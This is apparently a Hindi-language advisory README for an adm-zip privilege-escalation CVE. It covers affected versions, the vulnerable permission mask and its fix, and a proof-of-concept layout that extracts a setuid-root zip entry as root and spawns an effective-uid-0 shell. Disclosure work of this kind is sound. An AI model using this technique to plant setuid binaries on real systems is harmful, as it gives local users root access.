
CVE-2026-102282: आर्काइव निष्कर्षण के दौरान SUID/SGID संरक्षण के माध्यम से adm-zip LPE (0.6.1 में ठीक किया गया)
npm पैकेज adm-zip में गलत अनुमति असाइनमेंट। जब keepOriginalPermission सक्षम होता है, तो निष्कर्षण अविश्वसनीय zip से setuid, setgid, और sticky बिट्स को बनाए रख सकता है, जिससे हमलावर-आपूर्ति किए गए आर्काइव से डिस्क पर root-स्वामित्व वाला setuid निष्पादन योग्य फ़ाइल रखी जा सकती है: स्थानीय विशेषाधिकार वृद्धि।
| पैकेज | adm-zip (npm) |
| इकोसिस्टम | Node.js |
| CVE | CVE-2026-102282 |
| एडवाइज़री | GHSA-j5f4-cc29-5x44 |
| CWE | CWE-732 महत्वपूर्ण संसाधन के लिए गलत अनुमति असाइनमेंट |
| CVSS v3.1 | 7.1 High — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| प्रभावित | < 0.6.1 (अंतिम ज्ञात प्रभावित: <= 0.6.0) |
| ठीक किया गया | 0.6.1 (11 सितंबर 2026) |
| प्रकाशित | मेंटेनर एडवाइज़री 11 सितंबर 2026; GitHub Advisory Database 29 सितंबर 2026 |
इस रिपॉज़िटरी में राइट-अप, एक डिपेंडेंसी वर्ज़न चेकर, एक सुरक्षित व्यवहारिक परीक्षण, और एक स्व-निहित प्रूफ ऑफ कॉन्सेप्ट शामिल है, जो एक हानिरहित वेरिफायर बाइनरी के आसपास बनाया गया है जो केवल अपना क्रेडेंशियल संदर्भ प्रिंट करता है।
0.6.1 से पहले का प्रत्येक रिलीज़ प्रभावित है, जिसमें 0.6.0 भी शामिल है।
| रेंज | स्थिति |
|---|---|
>= 0 और < 0.6.1 | प्रभावित |
<= 0.6.0 | अंतिम ज्ञात प्रभावित |
>= 0.6.1 | ठीक किया गया |
यह बग केवल तब पहुँच योग्य है जब ये सभी सत्य हों:
extractAllTo(), extractAllToAsync(), या extractEntryTo() को keepOriginalPermission=true पास करता है।डिफ़ॉल्ट निष्कर्षण फ़्लैग को बंद छोड़ता है और प्रभावित नहीं है। गैर-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में निष्कर्षण अभी भी मोड बिट्स लागू कर सकता है, लेकिन परिणामी फ़ाइल उसी उपयोगकर्ता के स्वामित्व में होती है, इसलिए यह विशेषाधिकार सीमा को पार नहीं करती।
Unix मोड बिट्स zip एंट्री के बाहरी फ़ाइल विशेषताओं के उच्च 16 बिट्स में रहते हैं। adm-zip उन बिट्स को निकाले गए पथ पर कॉपी करता है।
| स्थान | भूमिका |
|---|---|
headers/entryHeader.js — fileAttr | बाहरी विशेषताओं से Unix मोड पढ़ता है |
adm-zip.js — extractAllTo, extractAllToAsync, extractEntryTo | जब keepOriginalPermission true होता है तो fileAttr का उपयोग करता है |
util/utils.js — फ़ाइल राइट हेल्पर के अंदर chmodSync | उस मोड को अभी बनाए गए पथ पर लागू करता है |
adm-zip.js डायरेक्टरी निष्कर्षण | निकाली गई डायरेक्टरियों पर वही मोड लागू करता है |
0.6.0 और उससे पहले में, fileAttr शिफ्ट की गई विशेषता को 0xfff (0o7777) से मास्क करता है। वह मास्क सामान्य rwx बिट्स के साथ तीन विशेष बिट्स को बनाए रखता है, और राइट पथ में कुछ भी chmod से पहले 0o7000 को साफ़ नहीं करता:
// headers/entryHeader.js (<= 0.6.0)
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
0o4000)0o2000)0o1000)निष्कर्षण आर्काइव-नियंत्रित मोड को सीधे फ़ाइलसिस्टम पर पास करता है:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(entryName, content, overwrite, fileAttr);
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
0.6.x कॉल सिग्नेचर पर ध्यान दें: extractAllTo(targetPath, overwrite, keepOriginalPermission) अपने तीसरे आर्ग्युमेंट के रूप में एक शाब्दिक बूलियन लेता है।
{ keepOriginalPermission: true } जैसा ऑप्शन्स ऑब्जेक्ट पास करना
चुपचाप false में कोर्स हो जाता है, जो परीक्षण में भेद्यता को छुपाता है बजाय
इसे प्रदर्शित करने के। इस रेपो में दोनों PoC स्क्रिप्ट सीधे true पास करती हैं।
फिक्स कमिट 6a63c339 (v0.6.1) है। fileAttr अब केवल नौ rwx बिट्स रखता है:
get fileAttr() {
return (_attr || 0) >> 16 & 0o777;
}
keepOriginalPermission=true के साथ, निष्कर्षण उस मोड को fileAttr के माध्यम से पढ़ता है और इसे chmod को पास करता है।0o7777 है, setuid, setgid, और sticky बच जाते हैं।chmod root के रूप में चलता है, तो नई फ़ाइल root-स्वामित्व वाली होती है और setuid ले जा सकती है। बाद में कम विशेषाधिकार प्राप्त उपयोगकर्ता द्वारा चलाना फ़ाइल स्वामी के कोड को root के रूप में निष्पादित करता है।फ़्लैग को उसके डिफ़ॉल्ट पर छोड़ने पर, निष्कर्षण आर्काइव मोड लागू नहीं करता, और विशेष बिट्स नहीं लिखे जाते।
सब कुछ poc/ के अंतर्गत है। बंडल किया गया पेलोड
verify.c है, एक हानिरहित प्रोग्राम जो अपना वास्तविक और
प्रभावी uid/gid प्रिंट करता है और, अपने डिफ़ॉल्ट मोड में, प्रभावी
पहचान के साथ एक शेल खोलता है। यह क्रेडेंशियल संदर्भ प्रदर्शित करने से
अधिक कुछ भी बनाए नहीं रखता, छुपाता नहीं, या नहीं करता।
| फ़ाइल | उद्देश्य |
|---|---|
poc/verify.c | हानिरहित setuid-वेरिफायर पेलोड |
poc/build-archive.js | एक फ़ाइल को zip में पैक करता है जिसकी एंट्री मोड 0o4755 ले जाती है |
poc/extract.js | एक प्रभावित ऐप की तरह keepOriginalPermission=true के साथ आर्काइव निकालता है |
poc/run-demo.sh | एंड-टू-एंड रन: बिल्ड, root के रूप में निकालें, इनवोकिंग उपयोगकर्ता के रूप में चलाएँ |
git clone <this repo> && cd CVE-2026-102282
npm install [email protected] # the version under test
sudo apt install gcc # if needed
./poc/run-demo.sh # uses /var/tmp/cve-2026-102282-demo
./poc/run-demo.sh /path/to/out # or a custom output directory
0.6.0 के विरुद्ध अपेक्षित आउटपुट:
== 3. extract as root with keepOriginalPermission ==
adm-zip version: 0.6.0
extracted /var/tmp/cve-2026-102282-demo/exploit.zip into /var/tmp/cve-2026-102282-demo/extracted
== 4. result on disk ==
4755 -rwsr-xr-x root:root
== 5. run as the unprivileged user (user) ==
uid=1000(user) ...
[*] real uid=1000 gid=1000
[*] eff. uid=0 gid=0
[+] SUID active: effective uid 0 differs from real uid 1000
0.6.1 के विरुद्ध अपेक्षित आउटपुट:
== 4. result on disk ==
755 -rwxr-xr-x root:root
== 5. run as the unprivileged user (user) ==
uid=1000(user) ...
[*] real uid=1000 gid=1000
[*] eff. uid=1000 gid=1000
[-] effective and real ids match: no SUID context
डेमो के लिए चेतावनियाँ: